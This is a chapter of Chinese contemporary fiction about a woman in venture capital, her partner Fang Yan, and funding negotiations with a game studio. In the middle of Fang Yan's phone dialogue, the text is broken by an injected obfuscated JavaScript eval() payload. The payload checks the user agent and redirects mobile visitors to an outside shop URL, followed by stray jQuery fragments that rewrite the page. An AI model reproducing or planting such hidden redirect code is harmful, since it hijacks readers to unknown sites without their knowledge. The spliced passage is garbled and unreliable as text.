月谷回来之后，方严还是做那些他以前会做的事，但做的方式变了。
周五下午他比平时早回来。进门的时候手里拎着一只纸袋，放在玄关柜上，没有解释那是什么。她坐在沙发上看材料，听到他换鞋的声音、走进厨房的声音，然后是水壶被放到平台上的声音。水烧开之后他往杯子里倒了水，端了一杯出来放在茶几边上，杯沿朝外，是她习惯拿的方向。
她继续看材料，没有抬头。他站了几秒，转身走回书房。那杯水在茶几上放到了起身去卧室的时候才想起来喝，已经凉了。第二天早上起来的时候杯子已经不见了，水池里没有痕迹。
周末下午他说出去走走。两个人都没提要去哪里，但他换好鞋站在门口等她，她就站起来跟他出去了。沿着湖边那条路走，他走在旁边，步子比以前慢，慢到她不需要刻意放慢脚步就能和他保持同速。她停下来看湖面上的野鸭子，他也停下来，手插在大衣口袋里，没有看手机。以前他也停过，但以前他停了之后手会放在手机边沿。现在他的手插在口袋里，整个人是松的。阳光落在水面上，她看了一会儿，他没有催她。
有一天晚上他们在客厅看电影，她把毯子拉到肩膀上，他站起来把那盏落地灯往远处挪了一下。以前他也会调灯光，但会先侧过头看她，像是在确认是不是真的觉得太亮了。现在他只是站起来、挪灯、坐回来，全程没有看她的反应。灯光暗下去的时候他已经在看屏幕了。
“灯太亮了。”他说。
“嗯。”她继续看电影。
电影结束的时候她站起来往卧室走，他在身后问了一句：“明天想吃什么？”
“随便。”
“那让阿姨别来了，我来做。”
她站在卧室门口回头看，他已经拿起手机在查菜谱了。
还有一天傍晚沿着湖边那条路往回走，她的鞋带散了。低头看到的时候，方严已经弯下腰了。他把她那两根鞋带系好，打了一个结。路灯的光从他身后照过来，他的脸在暗处。她也看着他，然后低下头看了一眼那道结。系得很紧，位置也正。
刚认识方严的时候，总觉得他的好是算好的。每一件事都在它应该在的位置上，不多一厘米，也不少一厘米。她需要很久才能确定他是真的，还是只是在完成一道清单。现在看着那道结，忽然觉得那些都不重要了。他只是做了那件事，然后站在那里。
原来他是会的。或许，她只是想多了。
清池资本的晨会照常开着。Jason正在问消费品组的整体投后数据和复盘，徐悦离职之后这些事落到了她头上。祝青云翻了翻手里的表格，把第三季度的复购率报了一遍，又补充了两条关于供应链时效的备注。Jason翻到下一页，没有评价，只是点了点头。张一坐在旁边，低头在手机上看邮件，听到几个关键数字的时候抬了一下头，又低下去了。会议室里很安静，只有翻纸页的声音和偶尔的键盘敲击声。散会的时候Jason站起来，经过她身边停了一步。
“青藤那边的月度数据你看了？”
“看了。”
“跟一下。”
“好。”
七日留存稳定在35%以上，DAU/MAU接近40%，LTV/CAC跑到了3倍，印尼市场的买量成本在连续三个季度下降之后终于落进了预期区间。她把几个数字又看了一遍，确认那道路径是对的。
这家公司已经走过了那个需要验证方向的阶段，现在进入的是需要加注放量的阶段。
祝青云几乎长在了华清嘉园那间办公室里，人越来越多了。游戏的2.0版本正在做最后一次压力测试，数据包比之前大了两倍，服务器端在第四轮并发测试里出了几次小问题，开发团队连着两天在调架构。李卓远坐在电脑前面，屏幕上开了一排窗口，代码一行一行往上走。安冉坐在折叠桌旁边，在理用户反馈的标签，手边那只白瓷杯换了新的茶包——上一次她泡的是绿茶，这一次换成了乌龙。祝青云坐在另一边，逐行对东南亚版本的三套本地化配置。
晚上十点，测试跑了一轮，服务器稳了。李卓远伸了个懒腰，靠在椅背上看她：“青云姐，你也该休息了。”
她没抬头：“写完这些。”把配置表的最后一行对完，保存，合上电脑。手机翻过来的时候看到方严两小时前发了一条消息：“今天还回来吗？”她看了一眼时间，快十一点了。回了一个字：“回。”然后站起来拿外套。
安冉从折叠桌那边递过来一杯茶，杯沿是干净的。“泡新的了，”她说，“趁热喝。”
祝青云端起来喝了一口，是温的。“谢了。”
“下次来的时候提前说，”安冉说，“换别的试试。”
楼道里的声控灯亮了一截，走到楼梯口的时候李卓远在身后说了一句：“青云姐，谢谢你。”
那段日子像一阵风一样刮过去，青藤团队留在办公室的白板上画满了数据，祝青云自己加过的批注也留在文件最后的几个角落。
方严那边也没有比之前轻松多少。TCP早期基金的第二期募资要开始了，LP名单上多了几个新名字。他的办公室换了一层，窗外的景色也换了方向。
那天下午他打开邮箱，青藤2.0版本上线后前六周的运营简报刚发进来。点开，从头翻到尾，然后在付费转化率那一行停了一下——比上一轮投资的时候预测的数据高了将近十五个点，而且是在没有大规模买量投放的情况下跑出来的。
他关掉简报，调出青藤的财务模型，然后拨了李卓远的电话。响了三四声接起来，背景音里能听到键盘声。
“方严哥？”
“Q3数据我看了，”方严说，“2.0版本跑通了。”
“嗯，数据是不错。”
“你下面什么打算？”
“你追加一轮融资我当然愿意，”他说，“但条款我还在看，这些真麻烦。方严哥，你那边最新一版文件什么时候能出来？我想跟团队商量商量再决定。”
方严没有说话。
“B轮的钱还没花完，”李卓远说，“现在付费转化率上来了，后面几个月的现金流应该能跑正。我想先把这一轮的验证周期走完再说——钱不急，等数据再跑两三个月会更稳。”
方严听到“我想”的时候已经大概知道后面是什么了。他靠在椅背里，把手机换了只手，安静了大约两秒。
“你现在就是最好的窗口期——数据跑出来了，支出还没上去。等付费转化率跑完两三个月，机构能拿到的数据是平的，不是陡的。到时候你拿到的估值可能比现在更低。”
“我知道，”李卓远说，“但我现在不缺钱。不需要为了融资而融资。”
“如果只是为了不缺钱，你不需要融资。”方严说，声音比刚才轻了一些，像在确认一个已经算好的数字，“但你想出海，东南亚的渠道预付、本地化成本、合规费用，这些不是B轮那点钱能覆盖的。我可以帮你单独搭个离岸架构，把海外发行权提前锁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740852|209103||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
定，资金走专项用途，不进主体公司，不占你国内股权。”
电话那头沉默了几秒。键盘声没有恢复。
“你是说……”李卓远顿了一下，“不进主体公司？”
“主体公司估值已经起来了，再进股权，你稀释不起。”方严说，“海外单独设SPV，你以IP授权形式把海外发行权放进去，资金走专项轮，清池那边我帮你去沟通。这是帮你保国内股权，同时把海外盘子做大。”
李卓远又停了一下。方严能听到他呼吸的频率变了——从刚才的防御，变成了一种被说动的犹豫。
“条款……”李卓远说。
“我让法务那边再拟一版，”方严说，“你这边不用急，想好了再跟我说。但窗口期不等人，我先帮你占住位置，排他条款先锁九十天的谈判期，免得其他机构进来搅局。”
“那行，”李卓远说，“我信你，新的协议出来发我。”
“一定。”
他挂了电话，把手机放在桌面上。李卓远不想现在融，是站在游戏制作人的角度想问题。方严想让他现在融，是站在资本的角度想问题。
苏南的电话是在那个周二晚上十一点打过来的。祝青云接起来的时候，听到那头很安静。不是平静，是哭完之后的安静。
“他说不要试了。”苏南说，“他说他耽误不起我。”
祝青云从沙发上坐直了一点：“你在哪儿？”
“在家。客厅地板上。”苏南停了一下，“那只狗还在茶几上。腿还是缺的。”
“你没事吧？”
“不好。”苏南的声音低下去，“但我知道会好的。”
祝青云握着手机坐在沙发里，没有说“他会回来的”，没有说“你值得更好的”。那些话她不知道该不该信，所以只是坐在那里，让苏南知道她在。
“你挂吧，”苏南过了一会儿说，“我没事了。”
“好。”
她没有立刻挂。安静又持续了一会儿，然后才按了结束键。
那几天苏南没有联系她，她也没有打过去。周五的时候苏南发了一条消息，只有三个字：“还活着。”祝青云回了一个拥抱的表情，把那三个字看了一会儿，然后锁了屏。
过了一周她听秘书说Jason不知道怎么了，拼了一只乐高飞船，拼了一整个下午。底座拼完了，零件铺了一桌子。第二天早上他来了办公室，坐在那只拼了一半的飞船前面看了很久。然后又拆了。零件一个一个放回盒子里，盒子放回柜子最上层。
消息传到茶水间的时候，有人说：“老板拆乐高？该不会被LP逼疯了。”另一个人接了一句：“最近几期IRR挺好的，也不知道抽什么疯。算了，拆了比拼了强。”
祝青云端着水杯路过，没有停下来，她脑子里还在想一份SaaS项目的BP，创始团队做的是面向中小企业的财税自动化工具，产品逻辑清晰，单客户LTV看着不低，但获客成本还没跑出来。
苏南没有再提过Jason，祝青云也没有问。
周日晚上她一个人坐在沙发上，翻开手机相册，翻到一张很久以前的照片，是她坐在沙发上看书，阳光从落地窗照进来落在肩上，当时她不知道方严在偷拍。她看了一会儿，然后把那张照片拖进了一个加密文件夹。翻开下一张，是苏南发来的乐高小狗，缺着左前腿站在茶几上。她没有删，也没有移进去。
夜深了，客厅的灯还亮着，祝青云坐在那道灯光里。